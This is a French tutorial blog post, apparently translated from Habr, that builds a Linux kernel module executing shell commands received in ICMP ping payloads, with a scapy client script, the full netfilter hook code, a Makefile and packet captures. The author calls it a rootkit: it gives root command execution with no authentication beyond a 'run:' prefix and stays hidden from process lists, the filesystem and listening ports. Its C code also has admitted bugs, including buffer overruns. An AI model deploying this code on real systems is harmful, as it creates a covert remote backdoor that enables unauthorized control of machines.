TL;DR: je dĂ©veloppe un module noyau qui lira des commandes Ă partir de la charge utile ICMP et les exĂ©cutera sur le serveur mĂȘme si votre SSH est tombĂ©. Pour les plus impatients, tout le code est sur .
Attention ! Les programmeurs expĂ©rimentĂ©s en C risquent de pleurer des larmes de sang ! Je peux me tromper mĂȘme dans la terminologie, mais toute critique est la bienvenue. Ce post s'adresse Ă ceux qui ont une idĂ©e gĂ©nĂ©rale de la programmation en C et qui souhaitent jeter un Ćil Ă l'intĂ©rieur de Linux.
Dans les commentaires de ma premiĂšre mentionnaient SoftEther VPN, qui peut se faire passer pour certains « protocoles ordinaires », en particulier HTTPS, ICMP et mĂȘme DNS. Je ne connais que le premier d'entre eux, car je suis bien familiarisĂ© avec HTTP(S), tandis que le tunneling sur ICMP et DNS a dĂ» ĂȘtre Ă©tudiĂ©.

Oui, j'ai dĂ©couvert en 2020 qu'il Ă©tait possible d'insĂ©rer une charge utile arbitraire dans les paquets ICMP. Mais mieux vaut tard que jamais ! Et puisque quelque chose peut ĂȘtre fait Ă ce sujet, il faut agir. Comme j'utilise principalement la ligne de commande dans ma vie quotidienne, y compris via SSH, l'idĂ©e d'un shell ICMP m'est venue en premier. Et pour crĂ©er un vĂ©ritable bingo bullshit, j'ai dĂ©cidĂ© de le coder sous forme de module Linux dans un langage dont j'ai uniquement une connaissance approximative. Ce shell ne sera pas visible dans la liste des processus, il peut ĂȘtre chargĂ© dans le noyau et ne rĂ©sidera pas sur le systĂšme de fichiers, vous ne verrez rien de suspect dans la liste des ports en Ă©coute. En termes de fonctionnalitĂ©s, c'est un vĂ©ritable rootkit, mais j'espĂšre le peaufiner et l'utiliser comme un shell de dernier recours lorsque la charge moyenne est trop Ă©levĂ©e pour se connecter via SSH et exĂ©cuter au moins echo i > /proc/sysrq-trigger, afin de restaurer l'accĂšs sans redĂ©marrer.
Prenons un éditeur de texte, des compétences de base en programmation Python et C, Google et que l'on n'hésite pas à sacrifier si tout tourne mal (optionnel - VirtualBox/ KVM local /etc.) et c'est parti !
Partie cliente
Il me semblait qu'il faudrait écrire un script de 80 lignes pour la partie cliente, mais des gens bienveillants ont fait le travail à ma place . Le code s'est avéré étonnamment simple, tenant en 10 lignes significatives :
import sys
from scapy.all import sr1, IP, ICMP
if len(sys.argv) < 3:
print('Usage: {} IP "commande"'.format(sys.argv[0]))
exit(0)
p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
p.show() Le script prend deux arguments, l'adresse et le payload. Avant d'envoyer le payload, il est préfixé par une clé. exécuter :, il nous sera nécessaire pour exclure les paquets avec un payload aléatoire.
Le noyau nĂ©cessite des privilĂšges pour crafting des paquets, donc le script doit ĂȘtre exĂ©cutĂ© avec des droits super-utilisateur. N'oubliez pas de donner les droits d'exĂ©cution et d'installer scapy. Dans Debian, il y a un paquet qui s'appelle python3-scapy. Maintenant, vous pouvez vĂ©rifier comment tout cela fonctionne.
Exécution et sortie de la commande
morq@laptop:~\/icmpshell$ sudo .\/send.py 45.11.26.232 "Bonjour, le monde!"
Début de l'émission :
.Envoi de 1 paquet terminé.
*
2 paquets reçus, 1 réponse obtenue, 0 paquets restants
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Bonjour, le monde!
Voici Ă quoi cela ressemble dans le sniffleur
morq@laptop:~\/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
ExĂ©cutĂ© en tant qu'utilisateur "root" et groupe "root". Cela pourrait ĂȘtre dangereux.
Capture sur 'wlp1s0'
Trame 1 : 59 octets sur le fil (472 bits), 59 octets capturés (472 bits) sur l'interface wlp1s0, id 0
Protocole Internet Version 4, Src : 192.168.0.240, Dst : 45.11.26.232
Protocole de contrĂŽle Internet
Type : 8 (Demande d'écho (ping))
Code : 0
Checksum : 0xd603 [correct]
[Ătat du checksum : Bon]
Identifiant (BE) : 0 (0x0000)
Identifiant (LE) : 0 (0x0000)
Numéro de séquence (BE) : 0 (0x0000)
Numéro de séquence (LE) : 0 (0x0000)
Données (17 octets)
0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 exécuter:Bonjour, le monde
0010 21 !
Données : 72756e3a48656c6c6f2c20776f726c6421
[Longueur : 17]
Trame 2 : 59 octets sur le fil (472 bits), 59 octets capturés (472 bits) sur l'interface wlp1s0, id 0
Protocole Internet Version 4, Src : 45.11.26.232, Dst : 192.168.0.240
Protocole de contrĂŽle Internet
Type : 0 (Réponse (ping) écho)
Code : 0
Checksum : 0xde03 [correct]
[Ătat du checksum : Bon]
Identifiant (BE) : 0 (0x0000)
Identifiant (LE) : 0 (0x0000)
Numéro de séquence (BE) : 0 (0x0000)
Numéro de séquence (LE) : 0 (0x0000)
[Trame de requĂȘte : 1]
[Temps de réponse : 19,094 ms]
Données (17 octets)
0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 exécuter:Bonjour, le monde
0010 21 !
Données : 72756e3a48656c6c6f2c20776f726c6421
[Longueur : 17]
^C2 paquets capturés
Le payload dans le paquet de réponse ne change pas.
Module du noyau
Pour compiler dans une VM avec Debian, il faut au minimum make et linux-headers-amd64, le reste sera tiré en tant que dépendances. Dans l'article, je ne mettrai pas le code entier, vous pouvez le cloner sur GitHub.
Configuration du hook
Pour commencer, nous avons besoin de deux fonctions pour charger le module et pour le dĂ©charger. La fonction pour dĂ©charger n'est pas obligatoire, mais dans ce cas, rmmod ne pourra pas ĂȘtre exĂ©cutĂ©, le module sera dĂ©chargĂ© uniquement lors de l'arrĂȘt.
#include <linux/module.h>
#include <linux/netfilter_ipv4.h>
static struct nf_hook_ops nfho;
static int __init startup(void)
{
nfho.hook = icmp_cmd_executor;
nfho.hooknum = NF_INET_PRE_ROUTING;
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST;
nf_register_net_hook(&init_net, &nfho);
return 0;
}
static void __exit cleanup(void)
{
nf_unregister_net_hook(&init_net, &nfho);
}
MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);Que se passe-t-il ici :
- Nous incorporons deux fichiers d'en-tĂȘte pour manipuler le module et pour netfilter.
- Toutes les opĂ©rations passent par netfilter, oĂč nous pouvons dĂ©finir des hooks. Pour cela, il faut dĂ©clarer une structure dans laquelle le hook sera configurĂ©. La chose la plus importante est d'indiquer la fonction qui sera exĂ©cutĂ©e en tant que hook :
nfho.hook = icmp_cmd_executor;J'atteindrai encore la fonction elle-mĂȘme.
Ensuite, j'ai défini le moment de traitement du paquet :NF_INET_PRE_ROUTINGindique de traiter le paquet lorsqu'il vient d'apparaßtre dans le noyau. On peut utiliserNF_INET_POST_ROUTINGpour traiter le paquet à la sortie du noyau.
Je pose un filtre sur IPv4 :nfho.pf = PF_INET;.
J'assigne à mon hook la plus haute priorité :nfho.priority = NF_IP_PRI_FIRST;
Et j'enregistre la structure de donnĂ©es comme Ă©tant le hook lui-mĂȘme :nf_register_net_hook(&init_net, &nfho); - Dans la fonction de finalisation, le hook est supprimĂ©.
- La licence est explicitement indiquée pour que le compilateur ne se plaint pas.
- Fonctions
module_init()etmodule_exit()définit d'autres fonctions comme initializing et terminating pour le module.
Extraction du payload
Maintenant, il faut extraire le payload, ce qui s'est avĂ©rĂ© ĂȘtre la tĂąche la plus difficile. Le noyau ne dispose d'aucune fonction intĂ©grĂ©e pour travailler avec le payload, on ne peut que parser les en-tĂȘtes des protocoles de niveau supĂ©rieur.
#include <linux/ip.h>
#include <linux/icmp.h>
#define MAX_CMD_LEN 1976
char cmd_string[MAX_CMD_LEN];
struct work_struct my_work;
DECLARE_WORK(my_work, work_handler);
static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
struct iphdr *iph;
struct icmphdr *icmph;
unsigned char *user_data;
unsigned char *tail;
unsigned char *i;
int j = 0;
iph = ip_hdr(skb);
icmph = icmp_hdr(skb);
if (iph->protocol != IPPROTO_ICMP) {
return NF_ACCEPT;
}
if (icmph->type != ICMP_ECHO) {
return NF_ACCEPT;
}
user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
tail = skb_tail_pointer(skb);
j = 0;
for (i = user_data; i != tail; ++i) {
char c = *(char *)i;
cmd_string[j] = c;
j++;
if (c == ' ')
break;
if (j == MAX_CMD_LEN) {
cmd_string[j] = ' ';
break;
}
}
if (strncmp(cmd_string, "run:", 4) != 0) {
return NF_ACCEPT;
} else {
for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
cmd_string[j] = cmd_string[j+4];
if (cmd_string[j] == ' ')
break;
}
}
schedule_work(&my_work);
return NF_ACCEPT;
}Que se passe-t-il :
- Il a fallu inclure des fichiers d'en-tĂȘte supplĂ©mentaires, cette fois pour manipuler les en-tĂȘtes IP et ICMP.
- Je fixe la longueur maximale de la chaĂźne :
#define MAX_CMD_LEN 1976. Pourquoi exactement cela ? Parce que le compilateur se plaint si c'est plus long ! On m'a dĂ©jĂ conseillĂ© de m'occuper de la pile et du tas, je le ferai un jour, et peut-ĂȘtre que je corrigerai mĂȘme le code. Je fixe directement la chaĂźne qui contiendra la commande :char cmd_string[MAX_CMD_LEN];. Elle doit ĂȘtre visible dans toutes les fonctions, j'en parlerai plus en dĂ©tail au point 9. - Maintenant, je dois initialiser (
struct work_struct my_work;) la structure et la lier Ă une autre fonction (DECLARE_WORK(my_work, work_handler);). Je parlerai Ă©galement de l'utilitĂ© de cela au neuviĂšme point. - Maintenant, je dĂ©clare la fonction qui sera le hook. Le type et les arguments acceptĂ©s sont dictĂ©s par netfilter, nous nous intĂ©ressons uniquement Ă
skb. C'est le tampon de socket, une structure de données fondamentale qui contient toutes les informations disponibles sur le paquet. - Pour le fonctionnement de la fonction, il faudra deux structures et plusieurs variables, y compris deux itérateurs.
struct iphdr *iph; struct icmphdr *icmph; unsigned char *user_data; unsigned char *tail; unsigned char *i; int j = 0; - On peut passer à la logique. Pour le fonctionnement du module, il n'est nécessaire d'aucun paquet autre que ICMP Echo, donc nous parsouons le tampon avec des fonctions intégrées et éliminons tous les paquets qui ne sont pas ICMP ou Echo. Le retour
NF_ACCEPTsignifie l'acceptation du paquet, mais vous pouvez aussi jeter les paquets en retournantNF_DROP.iph = ip_hdr(skb); icmph = icmp_hdr(skb); if (iph->protocol != IPPROTO_ICMP) { return NF_ACCEPT; } if (icmph->type != ICMP_ECHO) { return NF_ACCEPT; }Je n'ai pas vĂ©rifiĂ© ce qui se passera sans vĂ©rifier les en-tĂȘtes IP. Ma connaissance minimale du C me dit que sans vĂ©rifications supplĂ©mentaires quelque chose de terrible se produira forcĂ©ment. Je serai content si vous me convainquez du contraire !
- Maintenant que le paquet est clairement du type requis, nous pouvons extraire les donnĂ©es. Sans fonction intĂ©grĂ©e, il faut d'abord obtenir un pointeur au dĂ©but du payload. Cela se fait par un biais, il faut prendre le pointeur au dĂ©but de l'en-tĂȘte ICMP et le dĂ©placer Ă la taille de cet en-tĂȘte. Pour cela, on utilise la structure
icmph:user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
La fin de l'en-tĂȘte doit correspondre Ă la fin de la charge utile dansskb, donc nous l'obtenons par des moyens nuclĂ©aires Ă partir de la structure appropriĂ©e :tail = skb_tail_pointer(skb);.
J'ai pris l'image , vous pouvez lire plus en détail sur le tampon de socket. - AprÚs avoir obtenu des pointeurs au début et à la fin, nous pouvons copier les données dans la chaßne
cmd_string, vérifier sa présence de préfixeexécuter :et soit jeter le paquet en cas d'absence, soit réécrire à nouveau la chaßne en supprimant ce préfixe. - Voilà , nous pouvons maintenant appeler un autre gestionnaire :
schedule_work(&my_work);. Comme il n'est pas possible de passer un paramĂštre dans un tel appel, la chaĂźne de commande doit ĂȘtre globale.schedule_work()placera la fonction associĂ©e Ă la structure transmise dans la file d'attente gĂ©nĂ©rale du planificateur de tĂąches et se terminera, permettant de ne pas attendre la fin de la commande. Cela est nĂ©cessaire parce que le hook doit ĂȘtre trĂšs rapide. Sinon, vous aurez, au choix, rien qui ne s'exĂ©cute ou un panic du noyau. Un retard est mortel ! - Tout est prĂȘt, nous pouvons recevoir le paquet avec le retour correspondant.
Appel d'un programme dans l'espace utilisateur
Cette fonction est la plus comprĂ©hensible. Son nom a Ă©tĂ© dĂ©fini dans DECLARE_WORK(), le type et les arguments acceptĂ©s ne sont pas d'intĂ©rĂȘt. Nous prenons la chaĂźne de commande et la transmettons en entier au shell. Laissez-le se dĂ©brouiller avec l'analyse, la recherche de binaires et tout le reste.
static void work_handler(struct work_struct * work)
{
static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
static char *envp[] = {"PATH=/bin:/sbin", NULL};
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}- Définissons les arguments dans un tableau de chaßnes
argv[]. Je suppose que tout le monde sait que les programmes s'exécutent en fait ainsi, et non par une simple chaßne avec des espaces. - Définissons les variables d'environnement. J'ai inséré seulement PATH avec un ensemble minimal de chemins, en supposant que tout le monde a déjà combiné
/binavec/usr/binet/sbinavec/usr/sbin. D'autres chemins ont assez rarement de l'importance en pratique. - C'est prĂȘt, exĂ©cutons ! La fonction du noyau
call_usermodehelper()prend en entrée : le chemin vers le binaire, le tableau d'arguments, le tableau de variables d'environnement. Ici, je suppose aussi que tout le monde comprend le sens de passer le chemin du fichier exécutable comme un argument séparé, mais vous pouvez demander. Le dernier argument indique s'il faut attendre la fin du processus (UMH_WAIT_PROC), démarrer le processus (UMH_WAIT_EXEC) ou ne pas attendre du tout (UMH_NO_WAIT). Il y a aussiUMH_KILLABLE, je n'ai pas voulu approfondir cela.
Assemblage
La construction des modules du noyau s'effectue à travers le framework make du noyau. Est appelé make dans un répertoire spécial associé à la version du noyau (déterminée ici : KERNELDIR:=/lib/modules/$(shell uname -r)/build), et l'emplacement du module est passé par la variable M dans les arguments. Dans les cibles icmpshell.ko et clean, ce framework est utilisé intégralement. obj-m indique le fichier objet qui sera transformé en module. La syntaxe qui transforme main.o dans icmpshell.o (icmpshell-objs = main.o) ne me semble pas trÚs logique, mais qu'il en soit ainsi.
KERNELDIR:=/lib/modules/$(shell uname -r)/build
obj-m = icmpshell.o
icmpshell-objs = main.o
all: icmpshell.ko
icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules
clean:
make -C $(KERNELDIR) M=$(PWD) clean
Compilation : make. Chargement : insmod icmpshell.ko. C'est prĂȘt, vous pouvez vĂ©rifier : sudo ./send.py 45.11.26.232 "date > /tmp/test". Si un fichier est apparu sur votre machine /tmp/test et qu'il contient la date d'envoi de la requĂȘte, alors vous avez bien fait les choses et moi aussi.
Conclusion
Mon expĂ©rience de dĂ©veloppement du noyau s'est rĂ©vĂ©lĂ©e bien plus simple que je ne l'avais prĂ©vu. MĂȘme sans expĂ©rience en C, en me basant sur les indications du compilateur et les rĂ©sultats de Google, j'ai pu Ă©crire un module fonctionnel et me sentir comme un hacker du noyau, tout en Ă©tant un script kiddie. De plus, j'ai rejoint le canal Kernel Newbies, oĂč on m'a conseillĂ© d'utiliser schedule_work() au lieu d'appeler call_usermodehelper() dans le hook lui-mĂȘme et on m'a reprochĂ©, Ă juste titre, de soupçonner une arnaque. Une centaine de lignes de code m'ont coĂ»tĂ© environ une semaine de dĂ©veloppement pendant mon temps libre. Une expĂ©rience rĂ©ussie qui a brisĂ© mon mythe personnel sur la complexitĂ© insurmontable du dĂ©veloppement systĂšme.
Si quelqu'un accepte de faire une revue de code sur GitHub, je lui en serais reconnaissant. Je suis presque sûr d'avoir commis de nombreuses erreurs stupides, surtout en travaillant avec des chaßnes.
Source : habr.com

